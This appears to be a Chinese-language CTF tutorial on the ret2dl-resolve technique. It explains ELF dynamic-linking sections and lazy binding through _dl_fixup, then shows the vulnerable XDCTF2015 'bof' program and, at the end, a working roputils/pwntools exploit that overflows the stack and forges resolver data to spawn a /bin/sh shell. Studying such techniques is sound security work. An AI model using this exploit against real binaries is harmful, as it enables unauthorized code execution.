相关结构

ELF可执行文件由ELF头部,程序头部表和其对应的段,节头部表和其对应的节组成。

如果一个可执行文件参与动态链接,它的程序头部表将包含类型为PT_DYNAMIC的段,它包含.dynamic节。结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;


$ readelf -d bof

Dynamic section at offset 0xf14 contains 24 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000c (INIT) 0x8048358
0x0000000d (FINI) 0x8048624
0x00000019 (INIT_ARRAY) 0x8049f08
0x0000001b (INIT_ARRAYSZ) 4 (bytes)
0x0000001a (FINI_ARRAY) 0x8049f0c
0x0000001c (FINI_ARRAYSZ) 4 (bytes)
0x6ffffef5 (GNU_HASH) 0x80481ac
0x00000005 (STRTAB) 0x8048278
0x00000006 (SYMTAB) 0x80481d8
0x0000000a (STRSZ) 107 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x804a000
0x00000002 (PLTRELSZ) 40 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x8048330
0x00000011 (REL) 0x8048318
0x00000012 (RELSZ) 24 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED) 0x80482f8
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x80482e4
0x00000000 (NULL) 0x0

节中包含目标文件的所有信息。节的结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
typedef struct {
Elf32_Word sh_name; // 节头部字符串表节区的索引
Elf32_Word sh_type; // 节类型
Elf32_Word sh_flags; // 节标志,用于描述属性
Elf32_Addr sh_addr; // 节的内存映像
Elf32_Off sh_offset; // 节的文件偏移
Elf32_Word sh_size; // 节的长度
Elf32_Word sh_link; // 节头部表索引链接
Elf32_Word sh_info; // 附加信息
Elf32_Word sh_addralign; // 节对齐约束
Elf32_Word sh_entsize; // 固定大小的节表项的长度
} Elf32_Shdr;


$ readelf -S bof
There are 31 section headers, starting at offset 0x18a4:

Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 00002c 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481d8 0001d8 0000a0 10 A 6 1 4
[ 6] .dynstr STRTAB 08048278 000278 00006b 00 A 0 0 1
[ 7] .gnu.version VERSYM 080482e4 0002e4 000014 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 080482f8 0002f8 000020 00 A 6 1 4
[ 9] .rel.dyn REL 08048318 000318 000018 08 A 5 0 4
[10] .rel.plt REL 08048330 000330 000028 08 AI 5 24 4
[11] .init PROGBITS 08048358 000358 000023 00 AX 0 0 4
[12] .plt PROGBITS 08048380 000380 000060 04 AX 0 0 16
[13] .plt.got PROGBITS 080483e0 0003e0 000008 00 AX 0 0 8
[14] .text PROGBITS 080483f0 0003f0 000232 00 AX 0 0 16
[15] .fini PROGBITS 08048624 000624 000014 00 AX 0 0 4
[16] .rodata PROGBITS 08048638 000638 000008 00 A 0 0 4
[17] .eh_frame_hdr PROGBITS 08048640 000640 000034 00 A 0 0 4
[18] .eh_frame PROGBITS 08048674 000674 0000f4 00 A 0 0 4
[19] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4
[20] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4
[21] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4
[22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4
[23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[24] .got.plt PROGBITS 0804a000 001000 000020 04 WA 0 0 4
[25] .data PROGBITS 0804a020 001020 000008 00 WA 0 0 4
[26] .bss NOBITS 0804a040 001028 00000c 00 WA 0 0 32
[27] .comment PROGBITS 00000000 001028 000035 01 MS 0 0 1
[28] .shstrtab STRTAB 00000000 001798 00010a 00 0 0 1
[29] .symtab SYMTAB 00000000 001060 0004b0 10 30 47 4
[30] .strtab STRTAB 00000000 001510 000288 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)

几个重要的节:

  1. .rel.plt节是用于函数重定位,.rel.dyn节是用于变量重定位

ida 观察如下:

1
2
3
4
5
6
7
8
9
10
LOAD:08048318 ; ELF REL Relocation Table /r_offset r_info
LOAD:08048318 Elf32_Rel <8049FFCh, 306h> ; R_386_GLOB_DAT __gmon_start__
LOAD:08048320 Elf32_Rel <804A040h, 905h> ; R_386_COPY stdin
LOAD:08048328 Elf32_Rel <804A044h, 705h> ; R_386_COPY stdout
LOAD:08048330 ; ELF JMPREL Relocation Table
LOAD:08048330 Elf32_Rel <804A00Ch, 107h> ; R_386_JMP_SLOT setbuf
LOAD:08048338 Elf32_Rel <804A010h, 207h> ; R_386_JMP_SLOT read
LOAD:08048340 Elf32_Rel <804A014h, 407h> ; R_386_JMP_SLOT strlen
LOAD:08048348 Elf32_Rel <804A018h, 507h> ; R_386_JMP_SLOT __libc_start_main
LOAD:08048350 Elf32_Rel <804A01Ch, 607h> ; R_386_JMP_SLOT write
  1. .got节保存全局变量偏移表,.got.plt节保存全局函数偏移表。.got.plt对应着Elf32_Rel结构中r_offset的值。
1
2
3
4
5
6
7
8
9
10
.got.plt:0804A000 _GLOBAL_OFFSET_TABLE_ dd offset _DYNAMIC
.got.plt:0804A004 dword_804A004 dd 0 ; DATA XREF: sub_8048380↑r
.got.plt:0804A008 dword_804A008 dd 0 ; DATA XREF: sub_8048380+6↑r
.got.plt:0804A00C off_804A00C dd offset setbuf ; DATA XREF: _setbuf↑r
.got.plt:0804A010 off_804A010 dd offset read ; DATA XREF: _read↑r
.got.plt:0804A014 off_804A014 dd offset strlen ; DATA XREF: _strlen↑r
.got.plt:0804A018 off_804A018 dd offset __libc_start_main
.got.plt:0804A018 ; DATA XREF: ___libc_start_main↑r
.got.plt:0804A01C off_804A01C dd offset write ; DATA XREF: _write↑r
.got.plt:0804A01C _got_plt ends
  1. .dynsym节包含了动态链接符号表。Elf32_Sym[num]中的num对应着ELF32_R_SYM(Elf32_Rel->r_info)。

而根据定义有:

1
2
3
4
5
6
7
8
9
10
11
ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8

typedef struct
{
Elf32_Word st_name; // Symbol name(string tbl index)
Elf32_Addr st_value; // Symbol value
Elf32_Word st_size; // Symbol size
unsigned char st_info; // Symbol type and binding
unsigned char st_other; // Symbol visibility under glibc>=2.2
Elf32_Section st_shndx; // Section index
} Elf32_Sym;

read索引值为ELF32_R_SYM(0x207) = 0x207 >> 8 = 2。而Elf32_Sym[2]即保存着write的符号表信息。

并且ELF32_R_TYPE(0x207) = 7,对应R_386_JUMP_SLOT。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
LOAD:080481D8 ; ELF Symbol Table
LOAD:080481D8 Elf32_Sym <0>
LOAD:080481E8 Elf32_Sym <offset aSetbuf - offset byte_8048278, 0, 0, 12h, 0, 0> ; "setbuf"
LOAD:080481F8 Elf32_Sym <offset aRead - offset byte_8048278, 0, 0, 12h, 0, 0> ; "read"
LOAD:08048208 Elf32_Sym <offset aGmonStart - offset byte_8048278, 0, 0, 20h, 0, 0> ; "__gmon_start__"
LOAD:08048218 Elf32_Sym <offset aStrlen - offset byte_8048278, 0, 0, 12h, 0, 0> ; "strlen"
LOAD:08048228 Elf32_Sym <offset aLibcStartMain - offset byte_8048278, 0, 0, 12h, 0, \ ; "__libc_start_main"
LOAD:08048228 0>
LOAD:08048238 Elf32_Sym <offset aWrite - offset byte_8048278, 0, 0, 12h, 0, 0> ; "write"
LOAD:08048248 Elf32_Sym <offset aStdout - offset byte_8048278, \ ; "stdout"
LOAD:08048248 offset stdout@@GLIBC_2_0, 4, 11h, 0, 1Ah>
LOAD:08048258 Elf32_Sym <offset aIoStdinUsed - offset byte_8048278, \ ; "_IO_stdin_used"
LOAD:08048258 offset _IO_stdin_used, 4, 11h, 0, 10h>
LOAD:08048268 Elf32_Sym <offset aStdin - offset byte_8048278, \ ; "stdin"
LOAD:08048268 offset stdin@@GLIBC_2_0, 4, 11h, 0, 1Ah>
  1. .dynstr节包含了动态链接的字符串。这个节以\x00作为开始和结尾,中间每个字符串也以\x00间隔。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
LOAD:08048278 ; ELF String Table
LOAD:08048278 byte_8048278 db 0 ; DATA XREF: LOAD:080481E8↑o
LOAD:08048278 ; LOAD:080481F8↑o ...
LOAD:08048279 aLibcSo6 db 'libc.so.6',0
LOAD:08048283 aIoStdinUsed db '_IO_stdin_used',0 ; DATA XREF: LOAD:08048258↑o
LOAD:08048292 aStdin db 'stdin',0 ; DATA XREF: LOAD:08048268↑o
LOAD:08048298 aStrlen db 'strlen',0 ; DATA XREF: LOAD:08048218↑o
LOAD:0804829F aRead db 'read',0 ; DATA XREF: LOAD:080481F8↑o
LOAD:080482A4 aStdout db 'stdout',0 ; DATA XREF: LOAD:08048248↑o
LOAD:080482AB aSetbuf db 'setbuf',0 ; DATA XREF: LOAD:080481E8↑o
LOAD:080482B2 aLibcStartMain db '__libc_start_main',0
LOAD:080482B2 ; DATA XREF: LOAD:08048228↑o
LOAD:080482C4 aWrite db 'write',0 ; DATA XREF: LOAD:08048238↑o
LOAD:080482CA aGmonStart db '__gmon_start__',0 ; DATA XREF: LOAD:08048208↑o
LOAD:080482D9 aGlibc20 db 'GLIBC_2.0',0

Elf32_Sym[2]->st_name=0x27(.dynsym + Elf32_Sym_size * num),所以.dynstr加上0x27的偏移量,就是字符串read。

  1. .plt节是过程链接表。过程链接表把位置独立的函数调用重定向到绝对位置。

调用过程

以下面的bof进行调试read第一次的调用过程

  1. 开始就先是熟悉的.plt表

    1
    2
    3
    4
    > x/3i 0x80483a0
    0x80483a0 <read@plt>: jmp DWORD PTR ds:0x804a010
    0x80483a6 <read@plt+6>: push 0x8
    0x80483ab <read@plt+11>: jmp 0x8048380
  2. 一个跳转,存储着.plt第二条指令的地址,直接跳转

    1
    2
    > x/w 0x804a010
    0x804a010: 0x080483a6
  3. 跳转回去后,将偏移rel_offset在这里也就是8入栈,之后跳转至0x8048380,即.plt[0]处

    1
    2
    3
    4
    5
    6
    > x/5i 0x8048380
    0x8048380: push DWORD PTR ds:0x804a004
    0x8048386: jmp DWORD PTR ds:0x804a008
    0x804838c: add BYTE PTR [eax],al
    0x804838e: add BYTE PTR [eax],al
    0x8048390 <setbuf@plt>: jmp DWORD PTR ds:0x804a00c
  4. 跳转到plt段的开头后,将第二个参数.got.plt+4 在这里也就是0x804a004入栈,之后跳转到.got.plt+8处,相当于调用_dl_runtime_resolve(link_map, rel_offset)(link_map—got[4],rel_offset—JMPREL节);

_dl_runtime_resolve会完成具体解析、填充结果和调用的工作。(即将真实的read函数地址写入其GOT条目中,随后把控制权交给read函数。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.got.plt:0804A000 _GLOBAL_OFFSET_TABLE_ dd offset _DYNAMIC
.got.plt:0804A004 dword_804A004 dd 0 ; DATA XREF: sub_8048380↑r
.got.plt:0804A008 dword_804A008 dd 0 ; DATA XREF: sub_8048380+6↑r
.got.plt:0804A00C off_804A00C dd offset setbuf ; DATA XREF: _setbuf↑r
.got.plt:0804A010 off_804A010 dd offset read ; DATA XREF: _read↑r
.got.plt:0804A014 off_804A014 dd offset strlen ; DATA XREF: _strlen↑r
.got.plt:0804A018 off_804A018 dd offset __libc_start_main
.got.plt:0804A018 ; DATA XREF: ___libc_start_main↑r
.got.plt:0804A01C off_804A01C dd offset write ; DATA XREF: _write↑r
.got.plt:0804A01C _got_plt ends

> x/2wx 0x804a004
0x804a004: 0xf7ffd918 0xf7fee000

> x/10i 0xf7fee000
0xf7fee000 <_dl_runtime_resolve>: push eax
0xf7fee001 <_dl_runtime_resolve+1>: push ecx
0xf7fee002 <_dl_runtime_resolve+2>: push edx
0xf7fee003 <_dl_runtime_resolve+3>: mov edx,DWORD PTR [esp+0x10]
0xf7fee007 <_dl_runtime_resolve+7>: mov eax,DWORD PTR [esp+0xc]
0xf7fee00b <_dl_runtime_resolve+11>: call 0xf7fe77e0 <_dl_fixup>
  1. 可以看到_dl_runtime_resolve函数调用了_dl_fixup函数
    其定义在elf/dl-runtime.c中,具体可以看这里

简单的分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg) // 两个参数
{
/* 通过DT_SYMTAB找到对应符号信息结构SYMTAB */
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);

/* 通过DT_STRTAB找到对应符号名称strtab */
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

/* 通过reloc_offset也就是reloc_arg计算重定位入口,DT_JMPREL即.rel.plt */
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);

/* 通过reloc->r_info找到.dynsym中对应的条目 */
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

/* 检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7 */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);


if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif

/* 通过strtab+sym->st_name找到符号表字符串,result为libc基地址 */
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif

/* 基地址+偏移得到实际地址 */
value = DL_FIXUP_MAKE_VALUE (result,
SYMBOL_ADDRESS (result, sym, false));
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}
/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);
if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;

/* 将得到的value即实际地址写入got表目中
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // eax
char buf[4]; // [esp+0h] [ebp-6Ch]
char v6; // [esp+18h] [ebp-54h]
int *v7; // [esp+64h] [ebp-8h]

v7 = &argc;
strcpy(buf, "Welcome to XDCTF2015~!\n");
memset(&v6, 0, 0x4Cu);
setbuf(stdout, buf);
v3 = strlen(buf);
write(1, buf, v3);
vuln();
return 0;
}

ssize_t vuln()
{
char buf; // [esp+Ch] [ebp-6Ch]

setbuf(stdin, &buf);
return read(0, &buf, 0x100u);
}

正常攻击

roputils

相对而言特别方便的工具,可以自动生成需要伪造的section,并且通过函数调用直接ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
r = process('./bof')
context.log_level = 'debug'
r.recv()

rop = ROP('./bof')
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)

buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

参考链接:http://pwn4.fun/2016/11/09/Return-to-dl-resolve/